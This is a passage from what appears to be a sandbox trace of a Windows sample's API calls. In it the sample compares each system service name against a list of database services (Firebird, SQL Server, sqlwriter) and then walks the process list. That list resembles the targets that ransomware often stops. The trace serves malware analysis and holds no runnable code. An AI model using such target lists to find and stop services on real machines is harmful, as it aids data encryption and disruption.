lpString2="Power") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.565] lstrlenW (lpString="ProfSvc") returned 7 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.565] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.565] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.565] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.565] lstrlenW (lpString="RpcSs") returned 5 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.566] lstrlenW (lpString="SamSs") returned 5 [0054.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.566] lstrlenW (lpString="Schedule") returned 8 [0054.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.566] lstrlenW (lpString="SecurityHealthService") returned 21 [0054.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0054.566] lstrlenW (lpString="SENS") returned 4 [0054.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.566] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.567] lstrlenW (lpString="Spooler") returned 7 [0054.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.033] lstrlenW (lpString="SSDPSRV") returned 7 [0055.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0055.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0055.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0055.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0055.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0055.033] lstrlenW (lpString="StateRepository") returned 15 [0055.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0055.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0055.033] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0055.033] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0055.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0055.033] lstrlenW (lpString="SysMain") returned 7 [0055.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.034] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.034] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.034] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x793228 | out: hHeap=0x6a0000) returned 1 [0055.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0055.041] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.041] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.042] lstrlenW (lpString="System") returned 6 [0055.042] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.043] lstrlenW (lpString="smss.exe") returned 8 [0055.043] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.044] lstrlenW (lpString="csrss.exe") returned 9 [0055.044] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.044] lstrlenW (lpString="wininit.exe") returned 11 [0055.044] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.045] lstrlenW (lpString="csrss.exe") returned 9 [0055.045] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.046] lstrlenW (lpString="winlogon.exe") returned 12 [0055.046] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.047] lstrlenW (lpString="services.exe") returned 12 [0055.047] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.048] lstrlenW (lpString="lsass.exe") returned 9 [0055.048] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.048] lstrlenW (lpString="svchost.exe") returned 11 [0055.048] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0055.049] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0055.049] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0055.050] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0055.050] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.051] lstrlenW (lpString="svchost.exe") returned 11 [0055.051] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.052] lstrlenW (lpString="dwm.exe") returned 7 [0055.052] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.052] lstrlenW (lpString="svchost.exe") returned 11 [0055.053] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.053] lstrlenW (lpString="svchost.exe") returned 11 [0055.053] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.054] lstrlenW (lpString="svchost.exe") returned 11 [0055.054] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.055] lstrlenW (lpString="svchost.exe") returned 11 [0055.055] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.056] lstrlenW (lpString="svchost.exe") returned 11 [0055.056] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.056] lstrlenW (lpString="svchost.exe") returned 11 [0055.056] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.057] lstrlenW (lpString="svchost.exe") returned 11 [0055.057] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.058] lstrlenW (lpString="svchost.exe") returned 11 [0055.058] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.059] lstrlenW (lpString="svchost.exe") returned 11 [0055.059] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.059] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.059] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.060] lstrlenW (lpString="svchost.exe") returned 11 [0055.060] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.061] lstrlenW (lpString="svchost.exe") returned 11 [0055.061] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.062] lstrlenW (lpString="audiodg.exe") returned 11 [0055.062] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0055.062] lstrlenW (lpString="sihost.exe") returned 10 [0055.062] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.063] lstrlenW (lpString="svchost.exe") returned 11 [0055.063] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0055.064] lstrlenW (lpString="taskhostw.exe") returned 13 [0055.064] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0055.065] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0055.065] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0055.065] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0055.065] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.066] lstrlenW (lpString="explorer.exe") returned 12 [0055.066] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0055.552] lstrlenW (lpString="Memory Compression") returned 18 [0055.552] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0055.553] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0055.553] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0055.553] lstrlenW (lpString="SearchUI.exe") returned 12 [0055.553] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0055.554] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0055.554] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.555] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.555] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0055.556] lstrlenW (lpString="taskhostw.exe") returned 13 [0055.556] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0055.557] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0055.557] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0055.557] lstrlenW (lpString="UsoClient.exe") returned 13 [0055.557] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0055.558] lstrlenW (lpString="taskhostw.exe") returned 13 [0055.558] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0055.559] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0055.559] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0055.560] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0055.560] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0055.560] lstrlenW (lpString="msoia.exe") returned 9 [0055.560] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0055.561] lstrlenW (lpString="msoia.exe") returned 9 [0055.561] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0055.562] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0055.562] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0055.563] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0055.563] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0055.564] lstrlenW (lpString="xml-upper.exe") returned 13 [0055.564] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0055.564] lstrlenW (lpString="defeat preston.exe") returned 18 [0055.564] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0055.565] lstrlenW (lpString="surveillance.exe") returned 16 [0055.565] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0055.566] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0055.566] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0055.567] lstrlenW (lpString="deemed.exe") returned 10 [0055.567] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0055.567] lstrlenW (lpString="scored-prices.exe") returned 17 [0055.567] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, 